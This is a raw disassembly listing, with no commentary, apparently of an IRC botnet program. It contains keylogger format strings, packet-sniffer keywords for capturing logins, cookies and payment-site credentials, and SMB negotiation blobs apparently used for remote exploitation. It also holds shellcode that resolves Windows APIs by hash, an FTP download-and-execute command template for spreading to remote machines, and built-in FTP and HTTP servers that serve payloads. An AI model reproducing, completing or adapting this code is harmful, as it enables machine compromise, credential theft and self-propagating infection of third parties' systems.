aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:loc_402168o
					; seg000:0040DD32o
		align 10h
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 10h
off_421C70	dd offset dword_4224E8	; DATA XREF: seg000:0040277Ar
		dd offset off_4224E4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 3 dup(0)
dword_421C94	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg002:00421C7Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:00421C78o
off_4224E4	dd offset byte_435249	; DATA XREF: seg002:00421C74o
dword_4224E8	dd 544F42h	unk_4224EC	db    2			; DATA XREF: seg000:004027D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_422534	db    2			; DATA XREF: seg000:00402787o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: seg000:00402711o
		align 4
unk_422588	db    2			; DATA XREF: seg000:00402662o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4225D4	db    2			; DATA XREF: seg000:004025DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_42261C	db    2			; DATA XREF: seg000:00402561o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402AB1+B2o
		align 10h
dword_422670	dd 10FF8h, 0	dword_422678	dd 10FF8h	dword_42267C	dd 7FFDF020h, 0	dword_422684	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_42270C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_42273C	dd 0				dd 800000D4h, 0
unk_422748	db  81h	; 		; DATA XREF: sub_402FB5+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_422794	db 41h			; DATA XREF: sub_403053+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4227D8	proc near		; DATA XREF: sub_4032B0+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4228D4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4228EA
		mov	[esi+8], eax
		call	sub_42289D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4228EA
		mov	[esi+0Ch], eax
		call	sub_42284F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4228EA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4227D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42284F	proc near		; CODE XREF: sub_4227D8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_422878
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42284F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422878	proc near		; CODE XREF: sub_42284F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_422887:				; CODE XREF: sub_422878+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_422894
		inc	ebx
		jmp	short loc_422887
; ---------------------------------------------------------------------------


loc_422894:				; CODE XREF: sub_422878+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_422878	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42289D	proc near		; CODE XREF: sub_4227D8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4228B5:				; CODE XREF: sub_42289D+1Ej
		cmp	[ecx], ebx
		jz	short loc_4228BD
		mov	ecx, [ecx]
		jmp	short loc_4228B5
; ---------------------------------------------------------------------------


loc_4228BD:				; CODE XREF: sub_42289D+1Aj
		mov	edx, edi


loc_4228BF:				; CODE XREF: sub_42289D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4228C9
		mov	edx, [edx+4]
		jmp	short loc_4228BF
; ---------------------------------------------------------------------------


loc_4228C9:				; CODE XREF: sub_42289D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_42289D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228D4	proc near		; CODE XREF: sub_4227D8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4228D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228EA	proc near		; CODE XREF: sub_4227D8+16p
					; sub_4227D8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_422900:				; CODE XREF: sub_4228EA+33j
		jecxz	short loc_42293A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_42290D:				; CODE XREF: sub_4228EA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_422919
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_42290D
; ---------------------------------------------------------------------------


loc_422919:				; CODE XREF: sub_4228EA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_422900
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_42293A:				; CODE XREF: sub_4228EA:loc_422900j
					; sub_4228EA:loc_42293Aj
		jmp	short loc_42293A
sub_4228EA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422940	proc near		; DATA XREF: sub_4032B0+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_422992
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_42295D:				; CODE XREF: sub_422940+38j
		jecxz	short loc_42298D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_422968:				; CODE XREF: sub_422940+32j
		lodsb
		test	al, al
		jz	short loc_422974
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_422968
; ---------------------------------------------------------------------------


loc_422974:				; CODE XREF: sub_422940+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_42295D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_42298D:				; CODE XREF: sub_422940:loc_42295Dj
		mov	[esp+arg_0], ebx
		retn
sub_422940	endp


; =============== S U B	R O U T	I N E =======================================



sub_422992	proc near		; CODE XREF: sub_422940+7p

; FUNCTION CHUNK AT 004229CA SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4229AB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4229B6
; ---------------------------------------------------------------------------


loc_4229AB:				; CODE XREF: sub_422992+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4229B6:				; CODE XREF: sub_422992+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4229CA
sub_422992	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229BD	proc near		; CODE XREF: sub_422992:loc_4229CAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4229BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422992


loc_4229CA:				; CODE XREF: sub_422992+29j
		call	sub_4229BD


loc_4229CF:				; DATA XREF: sub_402A56+1Bo
					; seg000:0040BB74o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_422992
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4229D4	dd 60h		dword_4229D8	dd 62B0606h, 2050501h, 0A0hdword_4229E4	dd 30h		dword_4229E8	dd 0A1h		dword_4229EC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402AB1+153o
		align 4


loc_4229F8:				; DATA XREF: sub_402AB1+E8o
		jmp	short near ptr dword_422A00
; ---------------------------------------------------------------------------
		align 10h
dword_422A00	dd 0		dword_422A04	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_4032B0+55o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:00403E7Eo
aQuit		db 'QUIT',0             ; DATA XREF: seg000:00403E6Ao
					; seg000:0040B88Fo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: seg000:00403E5Do
		align 4
dword_422AC8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:00403E12o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00403DF3o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: seg000:00403DC7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: seg000:00403DAFo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:00403D9Ao
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: seg000:00403D89o
aXX		db '%x%x',0Ah,0         ; DATA XREF: seg000:00403D56o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00403D15o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: seg000:00403CDCo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:00403CAEo
		align 10h
aList		db 'LIST',0             ; DATA XREF: seg000:00403C9Bo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: seg000:00403C60o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: seg000:00403C4Do
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00403C3Do
aI:					; DATA XREF: seg000:00403C29o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:00403C02o
aA:					; DATA XREF: seg000:00403BEEo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: seg000:00403BD7o
					; seg000:00403C12o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00403BC7o
		align 4
off_422C84	dd offset dword_445750	; DATA XREF: seg000:00403BB3o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:00403BA3o
		align 4
aRest		db 'REST',0             ; DATA XREF: seg000:00403B8Fo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: seg000:00403B7Fo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: seg000:00403B6Bo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00403B5Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: seg000:00403B47o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: seg000:00403B37o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: seg000:00403B22o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: seg000:00403B11o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:00403A89o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_403F31+24o
					; seg000:00405214o ...
		align 10h
unk_422D20	db    2			; DATA XREF: sub_403FCB+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_422D68	db 0Dh,0Ah,0		; DATA XREF: sub_403FCB+2CFo
		align 4
asc_422D6C:				; DATA XREF: sub_403FCB+293o
					; seg000:0040B403o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_403FCB+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+551o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+52Eo
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_403FCB+4F2o
					; sub_408F79+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_403FCB+4DEo
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_403FCB:loc_40448Bo
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_403FCB+4B9o
		align 4
unk_422F8C	db    2			; DATA XREF: seg000:00404837o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_422FD8	db    2			; DATA XREF: seg000:004047B3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42301C:				; DATA XREF: seg000:004046FFo
		unicode	0, <*>,0
asc_423020:				; DATA XREF: seg000:004046A3o
					; sub_404858+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: seg000:00404692o
					; sub_404858+4CAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: seg000:004045E2o
					; sub_408AC9+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: seg000:004045D7o
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_404858+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404858+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_404858+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404858+589o
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404858+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404858:loc_404D70o
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404858+511o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404858+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404858+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_404858+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404858:loc_404C1Ao
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404858+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_404858+374o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404858+330o
					; sub_404858+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_404858+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_404858+2E4o
					; sub_404858+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_404858+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_404858+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_404858+285o
		align 4
a__0:					; DATA XREF: sub_404858+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_404858+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404858+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404858+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404858+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404858+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_404858+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404FC5+8Fo
